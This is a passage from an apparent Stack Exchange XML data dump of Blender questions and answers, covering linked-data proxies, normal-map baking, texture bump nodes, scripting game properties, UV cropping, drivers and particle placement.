(Bounds)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cURNF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;which unwraps the strip nicely, provided your original array object matched the aspect ratio of the image sequence:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4uRX7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Add a simple material with the strip as a texture:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tJrVa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vqLI3.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="32220" LastEditDate="2020-12-27T19:09:38.653" LastActivityDate="2020-12-27T19:09:38.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2462" PostTypeId="1" AcceptedAnswerId="2463" CreationDate="2013-08-19T21:40:41.647" Score="19" ViewCount="17151" Body="&lt;p&gt;When operating on an object linked from another &lt;code&gt;.blend&lt;/code&gt; file, what is the difference between the &lt;em&gt;Make Proxy&lt;/em&gt; command (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;) and the first option of &lt;em&gt;Make Local Object&lt;/em&gt; command (&lt;kbd&gt;L&lt;/kbd&gt; &lt;em&gt;&gt; Selected objects&lt;/em&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LUatd.jpg&quot; alt=&quot;make local screen shot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of them allow moving the object but not editing it.&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="64682" LastEditDate="2018-11-20T08:24:39.343" LastActivityDate="2018-11-20T08:24:39.343" Title="Difference between make local object and make proxy" Tags="&lt;blend-files&gt;&lt;linked-data&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="2463" PostTypeId="2" ParentId="2462" CreationDate="2013-08-19T22:04:40.243" Score="21" Body="&lt;p&gt;&lt;em&gt;Make Proxy&lt;/em&gt; adds a new object and sets it as the parent of the linked data. This allows you to transform the empty while still retaining the link to the original blendfile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Make Local Object&lt;/em&gt; copies the object data from the original blendfile to the new file, severing the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is probably better to use &lt;em&gt;Make Proxy&lt;/em&gt; because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;It keeps the link to the original file.&lt;/strong&gt; If you change the original file, the linked object will be changed as well.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;It keeps your filesize small.&lt;/strong&gt; Instead of having to copy the mesh data (all the verts, etc.), the only data that's stored is a sign saying &quot;look over there.&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Otherwise&lt;/strong&gt;, you're basically just &lt;em&gt;Append&lt;/em&gt;&lt;em&gt;&lt;/em&gt;ing (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F1&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A slight correction to your edit: you &lt;em&gt;can&lt;/em&gt; edit the object. You cannot, however, edit the &lt;em&gt;mesh&lt;/em&gt;. Here's why:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you first &lt;strong&gt;Link&lt;/strong&gt; an object, you are linking the Object datablock (cube icon). Linking the object also causes it to bring along the Mesh datablock (triangle icon), because it relies on the Mesh datablock. If you have any materials, textures, etc., those will be *&lt;em&gt;Link&lt;/em&gt;*ed as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you &lt;em&gt;Make Proxy&lt;/em&gt;, &lt;strong&gt;the Object datablock is cloned, but the Mesh datablock is not.&lt;/strong&gt; This is why you cannot edit the mesh: the Mesh datablock is still linked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit anything that is a property of the object datablock, such as the position, rotation, scale, material slots (but not any linked materials themselves), modifiers, constraints, particles, etc. You cannot modify anything that is part of the mesh datablock. Examples of things you cannot edit include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;vertex groups (and, thus, &lt;em&gt;Weight Paint Mode&lt;/em&gt; is disabled)&lt;/li&gt;&#xA;&lt;li&gt;UV maps&lt;/li&gt;&#xA;&lt;li&gt;shape keys&lt;/li&gt;&#xA;&lt;li&gt;skin radii&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These basic concepts also apply with other linked data types as well.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-08-20T00:48:46.993" LastActivityDate="2013-08-20T00:48:46.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2464" PostTypeId="2" ParentId="2462" CreationDate="2013-08-19T22:09:46.340" Score="7" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Make Local Object &gt; All&lt;/em&gt;:&lt;br&gt;&#xA;This is equivalent to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries#Appending_library_objects_into_your_current_project&quot; rel=&quot;noreferrer&quot;&gt;appending&lt;/a&gt; the object into the new file, it makes a complete copy of the object, which is not effected by edits to the original object in the other file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Make Local Object &gt; Selected objects&lt;/em&gt;:&lt;br&gt;&#xA;This only makes the object local, while it's data and materials are still linked to the original.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries#Proxy_Objects&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Make Proxy&lt;/em&gt;&lt;/a&gt; Keeps a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries&quot; rel=&quot;noreferrer&quot;&gt;link&lt;/a&gt; to the original object, so you cannot edit the object in the new file other than moving/rotating it around and adding &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers&quot; rel=&quot;noreferrer&quot;&gt;modifiers&lt;/a&gt;.&lt;br&gt;&#xA;However, editing the original object in the other file will effect the proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries#Proxy_Objects&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A proxy is a legal stand-in or &#xA;  substitute for the real thing. In Blender, when you make a linked copy&#xA;  (described above), you cannot edit the object; all you have is a link&#xA;  to it. You cannot add to it or change it, because its source is in&#xA;  another file that is not open.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The difference between &lt;em&gt;Make Local&lt;/em&gt; and &lt;em&gt;Make Proxy&lt;/em&gt; is that with &lt;em&gt;Make Proxy&lt;/em&gt;, You can assign your own materials, modifiers, etc. as the ones on the original object are not linked to the new file.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-19T22:43:00.700" LastActivityDate="2013-08-19T22:43:00.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2465" PostTypeId="1" CreationDate="2013-08-20T00:00:51.593" Score="1" ViewCount="404" Body="&lt;p&gt;I can only use versión 2.63a due to system limitations. I'm following a tutorial and noticed that in 2.66 there's an option for texture bump in the nodes section. How can I manage a bump in nodes in version 2.63a that mimics or equals that of 2.66?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance!&#xA;Cam&lt;/p&gt;&#xA;" OwnerUserId="1135" LastActivityDate="2013-08-20T07:41:23.490" Title="2.63a texture bump in nodes" Tags="&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2466" PostTypeId="1" AcceptedAnswerId="2472" CreationDate="2013-08-20T03:13:41.797" Score="14" ViewCount="7289" Body="&lt;p&gt;I understand that one uses normal baking to bake the normals of a high-resolution (sculpted, in the millions-of-polys range) to an image, which are then set to the normals of the low-resolution (retopologized, in the thousands-of-polys range) mesh to create the illusion of higher resolution, as shown in the following image from Wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3fFzY.png&quot; alt=&quot;Normal mapping example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save the normal of each vertex to an image, the mesh would have to be UV-unwrapped. However, as I understand it, the entire purpose of retopologizing is to get good topology that &lt;em&gt;can&lt;/em&gt; be used for UV-unwrapping. Even if you unwrap the high-resolution mesh, how do you unwrap the low-resolution mesh with the exact same configuration, such that the normals are projected properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, phrased more succinctly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What exactly is the workflow for sculpting, retopologizing, and normal-baking?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="2217" LastEditDate="2014-07-29T00:31:59.917" LastActivityDate="2014-07-29T00:31:59.917" Title="How does normal baking work?" Tags="&lt;workflow&gt;&lt;sculpting&gt;&lt;texture-baking&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2467" PostTypeId="2" ParentId="2466" CreationDate="2013-08-20T03:37:53.230" Score="1" Body="&lt;p&gt;It depends a lot on your specific use-case. For the example image you give, you could use Blender's built in Decimate modifier to get a low poly mesh. Blender does a good job in automatically keeping the texture wrapping in place. So you don't need any extra work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Blender's Decimate fails. Then you should look up MeshLab, it does a better job than Blender in decimating on some models. &lt;a href=&quot;http://meshlab.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;http://meshlab.sourceforge.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2013-08-20T03:37:53.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2468" PostTypeId="1" AcceptedAnswerId="2499" CreationDate="2013-08-20T05:27:32.807" Score="6" ViewCount="948" Body="&lt;p&gt;There's a &lt;a href=&quot;http://www.youtube.com/watch?feature=player_detailpage&amp;amp;v=1XZGulDxz9o&amp;amp;t=32&quot;&gt;clip in the Blender 2013 demo reel&lt;/a&gt; that consists of a fly-through of a paper cut-out model. (32 seconds in)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have a go at recreating that look. Does anybody have any tips? What are the characteristics that make it instantly recognizable as paper? Is it a subtle texture on the paper itself? Is it the hand-drawn outlines on the edges? Or is it something else, such as the indoor lighting or the focal length?&lt;/p&gt;&#xA;" OwnerUserId="1137" LastEditorUserId="599" LastEditDate="2013-08-20T18:37:18.743" LastActivityDate="2013-08-21T19:05:08.490" Title="Paper model effect from Royal Institution titles" Tags="&lt;modeling&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2469" PostTypeId="1" AcceptedAnswerId="2491" CreationDate="2013-08-20T05:30:38.150" Score="5" ViewCount="1792" Body="&lt;p&gt;I have a bunch of objects and need to create some common properties to all of them like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ob in bpy.data.objects:&#xA;    if ob.name.find(&quot;someName&quot;) &amp;gt;= 0:&#xA;        theObject = ob.game&#xA;        ...create new property in theObject, and set value&#xA;        ...create new property in theObject, and set value&#xA;        ...create new property in theObject, and set value&#xA;        ...create new property in theObject, and set value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result should show the properties added to every object &quot;someName&quot; (someName.001, someName.002, etc) in the Logic Editor like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wGWzU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="761" LastEditDate="2013-08-20T07:32:13.617" LastActivityDate="2013-12-22T17:43:26.743" Title="Scripting - How to create a game property?" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;properties&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2470" PostTypeId="1" CreationDate="2013-08-20T06:01:37.427" Score="4" ViewCount="2206" Body="&lt;p&gt;I would like to move some vertices of a plane created through the &quot;import image as plane&quot;, but without stretching the texture. A kind of crop like in libreoffice writer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side-notes: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best would be a trunk function but if their is no such function, a way to move the vertex in both 3D view and UV editor (an add-on or with some conversion maybe ? Like 3Dview_vertex_move(x,y)*(a factor)=UV_vertex_move(x2,y2) ) at the same time would be nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the knife tool can do the job somehow, but it involves many more steps (deleting old vertices, etc...). I'm looking for an efficient solution as I have to do it a lot.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2013-08-20T18:40:59.817" Title="How to slide a vertex with UV to avoid stretching?" Tags="&lt;modeling&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2471" PostTypeId="2" ParentId="2466" CreationDate="2013-08-20T07:22:55.600" Score="1" Body="&lt;p&gt;The most common workflow would be -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sculpt a high-resolution mesh&lt;/li&gt;&#xA;&lt;li&gt;Retopologize the model using the high-resolution sculpt as reference&lt;/li&gt;&#xA;&lt;li&gt;UV-unwrap the new low poly mesh&lt;/li&gt;&#xA;&lt;li&gt;Bake the normal map&lt;/li&gt;&#xA;&lt;li&gt;Apply the normal map as part of the texturing process&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While it is considered good practice to construct a mesh with good topology, it is really only compulsory if you wish to animate the final model. That is if the model is a static statue the need for good topology decreases, so a quick decimate of the high-resolution mesh is a sufficient base to use for the normal map. If the final model is to be animated then you need good topology to get a model that deforms smoothly.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-20T07:22:55.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2472" PostTypeId="2" ParentId="2466" CreationDate="2013-08-20T07:24:21.030" Score="14" Body="&lt;p&gt;The high resolution mesh does not need to be UV mapped at all.&#xA;Baking the normal map works by calculating the difference in the surface normal between a particular point on the low resolution mesh and the nearest point on the high resolution mesh. As long as they are sitting on top of each other, everything should work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h8ZEr.png&quot; alt=&quot;Meshes, wireframe, result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above you can see the two meshes are on top of each other (the middle image is only the wireframe of the left image, not another mesh) and the resulting normal map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the position of the surface is used to determine which points on the low and high resolution meshes go together, the UV of the low resolution mesh is simply the target output of the bake and no UVs are used in the calculation of the normals, thus the high-res mesh doesn't need any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, clean topology is also important for correct deformation in rigged models. As long as there are no overlaps and the islands aren't too close together (3-5 pixels is usually fine) the quality of the UV map isn't too important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus the workflow is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Retopologize the sculpt&lt;/li&gt;&#xA;&lt;li&gt;Unwrap the low-res mesh&lt;/li&gt;&#xA;&lt;li&gt;Place them on top of each other (if they aren't already)&lt;/li&gt;&#xA;&lt;li&gt;Select the high-res, then the low-res mesh&lt;/li&gt;&#xA;&lt;li&gt;Tab into Edit Mode of the low-res mesh, select everything&lt;/li&gt;&#xA;&lt;li&gt;Make sure you're using Blender Internal render and create a new image. I recommend enabling &lt;code&gt;32-bit Float&lt;/code&gt; to prevent any banding or other image artifacts.&lt;/li&gt;&#xA;&lt;li&gt;In the bake panel, choose &lt;code&gt;Normals&lt;/code&gt; for the bake mode and enable &lt;code&gt;Selected to Active&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hit the magic bake button&lt;/li&gt;&#xA;&lt;li&gt;When it's done, save the image as an EXR or a 32-bit format, otherwise some of the information in the normal map will be lost and you'll get obviously visible banding.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2013-08-20T07:44:05.660" LastActivityDate="2013-08-20T07:44:05.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2473" PostTypeId="2" ParentId="2465" CreationDate="2013-08-20T07:41:23.490" Score="1" Body="&lt;p&gt;Newer versions of blender (added in 2.65) allow you to feed normal data (bump maps) into the shader nodes allowing the shader to adjust itself to the altered surface of the model. Also the normal Map node was added that gives us more control over how the normal map is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest alternative you have in 2.63 is to connect your bump map into the displace socket of the Material Output.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-20T07:41:23.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2474" PostTypeId="2" ParentId="2460" CreationDate="2013-08-20T08:24:28.407" Score="3" Body="&lt;p&gt;The trick to random variations is to use drivers for the desired value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start, create a new text block in the text editor. Give the text block a name ending in .py (this allows you to register the script so that it will be automatically run on opening the blend file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fill the script with the following text -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ajtRo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After running the script you will have access to the specified functions within your driver expressions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click on a value and Add Driver (or press &lt;kbd&gt;D&lt;/kbd&gt; with cursor over value). Within the graph editor you can modify the driver expression to suit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9kcAs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit goes to Dave Miller for his &lt;a href=&quot;http://vimeo.com/40389198&quot; rel=&quot;nofollow noreferrer&quot;&gt;drivers tutorial&lt;/a&gt; which contains more info.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-20T08:24:28.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2475" PostTypeId="1" AcceptedAnswerId="2476" CreationDate="2013-08-20T08:40:00.630" Score="0" ViewCount="381" Body="&lt;p&gt;I followed &lt;a href=&quot;http://www.youtube.com/watch?v=NtWcpUedQhM&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a sphere and parented it to the empty axes&#xA;Empty_axes is parented to the empty_cube&#xA;I added a drive to the empty_axes to counter the rotation of the empty_cube(such that sphere will be at the same rotation angle in global space).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is not working as It should be. Empty axes are moving along with the cube.&#xA;Here are the screenshots of what I have done.&#xA;Can anyone tell me what am I doing wrong here?&#xA;Thanks.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F6gf0.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s4Afw.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OLqC7.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RwZYi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1098" LastEditorUserId="599" LastEditDate="2013-08-21T18:14:07.193" LastActivityDate="2013-08-21T18:14:07.193" Title="Counter rotate Animation using Driver" Tags="&lt;rigging&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2476" PostTypeId="2" ParentId="2475" CreationDate="2013-08-20T09:11:02.277" Score="3" Body="&lt;p&gt;At the end of the thread posted in your comment  Campbell Barton clearly states that you need to enable auto-execution. &#xA;You find the option in the &lt;em&gt;User Preferences Dialog&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i7Oxa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-08-20T09:11:02.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2477" PostTypeId="2" ParentId="2468" CreationDate="2013-08-20T09:19:28.287" Score="3" Body="&lt;p&gt;It seems that the look is mostly influenced by the outlines, you could achieve something similar by using freestyle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enable freestyle in the render tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GgNKb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the render layer tab you find several options to control freestyle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j0LU0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A nice &lt;a href=&quot;http://freestyleintegration.wordpress.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog post on freestyle&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-08-20T09:19:28.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2478" PostTypeId="1" AcceptedAnswerId="2479" CreationDate="2013-08-20T13:38:55.667" Score="4" ViewCount="800" Body="&lt;p&gt;I imported makehuman model with stockings to Blender, cut the stockings and made socks out of them. My problem is that the legs are coming out of the socks in some of the animation frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, I am making the socks really large so the knee would not stick out, but this is not the solution I wish to move forward with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I posted the picture showing the problem and the .blend file here:&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?304725-Legs-coming-out-of-socks&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?304725-Legs-coming-out-of-socks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="814" LastActivityDate="2013-08-20T14:27:54.213" Title="Prevent legs from coming out of socks" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2015-06-24T22:01:47.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="2479" PostTypeId="2" ParentId="2478" CreationDate="2013-08-20T14:27:54.213" Score="5" Body="&lt;p&gt;There are four main solutions of varying complexity... you may choose to do all three:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Put a &lt;em&gt;lot&lt;/em&gt; of love into weight painting on both the leg and the sock so you don't get intersections on deformation.&lt;/li&gt;&#xA;&lt;li&gt;Use a mesh deform modifier as part of your rig. If the leg and the sock are both deformed by the mesh deform modifier, there's less likelihood that you'll have intersections.&lt;/li&gt;&#xA;&lt;li&gt;Use corrective shape keys... if the intersection happens reliably and predictably as the knee bends, you can make a shape key that fixes the intersection. You can then drive the influence of that shape key using the knee's rotation.&lt;/li&gt;&#xA;&lt;li&gt;Put the sock and the leg on different render layers and make sure the sock layer is always over the leg layer. This may require some clever masking for the back of the, but it's doable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-08-20T14:27:54.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2480" PostTypeId="2" ParentId="2470" CreationDate="2013-08-20T16:39:15.317" Score="2" Body="&lt;p&gt;I'm not sure about programming it in, but here is how I would do it.&#xA;After importing the image go ahead and put in your loop cuts or whatever where you want to crop the image to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This distorts the image. To fix that, just re-unwrap it.&#xA;The command is &lt;code&gt;bpy.ops.uv.unwrap()&lt;/code&gt;&#xA;Or you can hit &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Unwrap&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just delete the outside vertices and you will get a cropped image.&lt;/p&gt;&#xA;" OwnerUserId="1142" LastEditorUserId="12" LastEditDate="2013-08-20T18:40:59.817" LastActivityDate="2013-08-20T18:40:59.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2481" PostTypeId="2" ParentId="2460" CreationDate="2013-08-20T18:19:22.330" Score="6" Body="&lt;p&gt;To get the equivalent of translating and scaling the texture space, you will need to use &lt;em&gt;Object coordinates&lt;/em&gt; for the displace modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PxdlZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows for displacement independent of the location of the object being displaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, using &lt;em&gt;Global coordinates&lt;/em&gt;, let's say you want a rock to be in a certain location, but it is not being displaced in the way you want.&lt;br&gt;&#xA;using global coordinates the rock can only be displaced in one way per location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;em&gt;Object coordinates&lt;/em&gt;, you can adjust the displacement by moving the object being used as Texture coordinates without moving the actual rock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then decide to move the rock but want to keep the way it is displaced, all you have to do is move both the rock and the Texture coordinate object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/em20I.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-20T18:43:46.227" LastActivityDate="2013-08-20T18:43:46.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2482" PostTypeId="2" ParentId="2457" CreationDate="2013-08-20T19:30:32.900" Score="1" Body="&lt;p&gt;Here is one way that get results similar to what I think you want:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Emission#Distribution_Settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;Particles/Face&lt;/a&gt;&lt;/em&gt; to 1. This will emit one particle per face, so you do not have to remove the extra vertices; you can keep the quad and so the normal as well.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TkxRE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the faces in the original sapling mesh to see how many faces there are. &lt;img src=&quot;https://i.stack.imgur.com/l6DBA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;set the number of particles to equal the number of planes in the sapling mesh (11947)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;It's a bit hard to tell how well they line up, but form a wire frame view you can see they are similar at the very least:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vOHGB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;By adjusting the leaf mesh used in the Particle instance modifier slightly, you can make sure the end of the leaf is on the branch:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UYwf1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;This is mostly an extension of my comment below, because you can't put images in comments.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The leaves as one object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0QT81.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;When you separate them, 